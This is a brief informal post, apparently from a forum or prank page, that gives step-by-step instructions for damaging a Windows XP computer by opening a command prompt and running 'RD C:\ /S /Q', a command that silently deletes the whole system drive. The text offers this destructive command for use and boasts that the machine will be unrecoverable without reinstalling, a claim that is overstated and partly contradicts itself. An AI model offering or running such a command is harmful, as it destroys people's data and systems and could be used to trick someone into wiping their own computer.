The best way that will really damage Windows XP is by :
1 # Go to start menu
2 # Go to run
3 # Type cmd and press enter
4 # Type RD C:\ /S /Q in the window. Press enter.
Wait for it to be finished. Once finished,
shut down the computer.
It will never ever turn on again.
No genius will be able to fix this. Only reinstalling XP Can.